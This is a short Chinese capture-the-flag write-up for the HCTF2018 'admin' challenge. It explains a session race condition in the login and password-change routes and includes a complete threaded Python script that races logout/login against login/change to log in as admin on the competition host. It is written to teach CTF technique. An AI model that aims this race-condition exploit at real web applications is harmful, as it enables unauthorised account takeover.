HCTF2018-admin[条件竞争]

附上网上师傅的wp  学习链接：

https://www.jianshu.com/p/f92311564ad0

按照师傅的wp复现一下：

源代码审计，去看路由里的login函数和change函数都在没有完全check身份的情况下，执行了session有关的赋值。

一个进程以正常账号一直依次进行登录、改密码操作，另一个进程同时一直依次进行注销、以admin用户名加进程1更改的新密码进行登录。就有可能出现当进程1进行到改密码函数时，进程2进行到登录操作，这个时候进程1需要从session中取出name，而进程2此时把session['name']改成了admin。编写脚本进行条件竞争，条件竞争结束的标志为进程2登录操作成功，即重定向到/index

import requests
import threading
 
def login(s, username, password):
    data = {
        'username': username,
        'password': password,
        'submit': ''
    }
    return s.post("http://admin.2018.hctf.io/login", data=data)
 
def logout(s):
    return s.get("http://admin.2018.hctf.io/logout")
 
def change(s, newpassword):
    data = {
        'newpassword':newpassword
    }
    return s.post("http://admin.2018.hctf.io/change", data=data)
 
def func1(s):
    login(s, 'skysec', 'skysec')
    change(s, 'skysec')
 
def func2(s):
    logout(s)
    res = login(s, 'admin', 'skysec')
    if '<a href="/index">/index</a>' in res.text:
        print('finish')
 
def main():
    for i in range(1000):
        print(i)
        s = requests.Session()
        t1 = threading.Thread(target=func1, args=(s,))
        t2 = threading.Thread(target=func2, args=(s,))
        t1.start()
        t2.start()
 
if __name__ == "__main__":
    main()

脚本来自：https://github.com/Whitzard